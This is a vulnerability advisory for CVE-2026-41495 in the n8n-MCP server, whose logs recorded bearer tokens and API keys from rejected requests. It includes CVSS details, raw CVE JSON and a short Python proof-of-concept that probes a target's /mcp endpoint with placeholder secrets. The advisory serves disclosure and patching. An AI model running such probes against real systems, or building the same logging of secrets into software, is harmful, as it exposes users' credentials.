Security Vulnerability Report
中文
CVE-2026-41495 CVSS 5.3 MEDIUM

CVE-2026-41495

Published: 2026-05-08 20:16:30
Last Modified: 2026-05-08 20:16:30

Description

n8n-MCP is an MCP server that provides AI assistants access to n8n node documentation, properties, and operations. Prior to version 2.47.11, when n8n-mcp runs in HTTP transport mode, incoming requests to the POST /mcp endpoint had their request metadata written to server logs regardless of the authentication outcome. In deployments where logs are collected, forwarded to external systems, or viewable outside the request trust boundary (shared log storage, SIEM pipelines, support/ops access), this can result in disclosure of: bearer tokens from the Authorization header, per-tenant API keys from the, x-n8n-key header in multi-tenant setups, JSON-RPC request payloads sent to the MCP endpoint. Access control itself was not bypassed — unauthenticated requests were correctly rejected with 401 Unauthorized — but sensitive values from those rejected requests could still be persisted in logs. This issue has been patched in version 2.47.11.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

n8n-mcp < 2.47.11

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # Target configuration target_url = "http://target-host:port/mcp" # Simulate a request containing sensitive headers that will be leaked in logs headers = { "Content-Type": "application/json", "Authorization": "Bearer LEAKED_SECRET_TOKEN_12345", # This will be logged "x-n8n-key": "SENSITIVE_API_KEY_67890" # This will be logged } # JSON-RPC payload payload = { "jsonrpc": "2.0", "method": "tools/list", "id": 1 } print(f"[*] Sending request to {target_url} to trigger log disclosure...") try: # The server will likely return 401 Unauthorized, but logs will capture the headers response = requests.post(target_url, json=payload, headers=headers) print(f"[*] Response Status Code: {response.status_code}") print("[!] Check the server logs (or SIEM) to verify if Authorization and x-n8n-key headers were recorded.") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-41495", "sourceIdentifier": "[email protected]", "published": "2026-05-08T20:16:30.323", "lastModified": "2026-05-08T20:16:30.323", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "n8n-MCP is an MCP server that provides AI assistants access to n8n node documentation, properties, and operations. Prior to version 2.47.11, when n8n-mcp runs in HTTP transport mode, incoming requests to the POST /mcp endpoint had their request metadata written to server logs regardless of the authentication outcome. In deployments where logs are collected, forwarded to external systems, or viewable outside the request trust boundary (shared log storage, SIEM pipelines, support/ops access), this can result in disclosure of: bearer tokens from the Authorization header, per-tenant API keys from the, x-n8n-key header in multi-tenant setups, JSON-RPC request payloads sent to the MCP endpoint. Access control itself was not bypassed — unauthenticated requests were correctly rejected with 401 Unauthorized — but sensitive values from those rejected requests could still be persisted in logs. This issue has been patched in version 2.47.11."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-532"}]}], "references": [{"url": "https://github.com/czlonkowski/n8n-mcp/releases/tag/v2.47.11", "source": "[email protected]"}, {"url": "https://github.com/czlonkowski/n8n-mcp/security/advisories/GHSA-pfm2-2mhg-8wpx", "source": "[email protected]"}]}}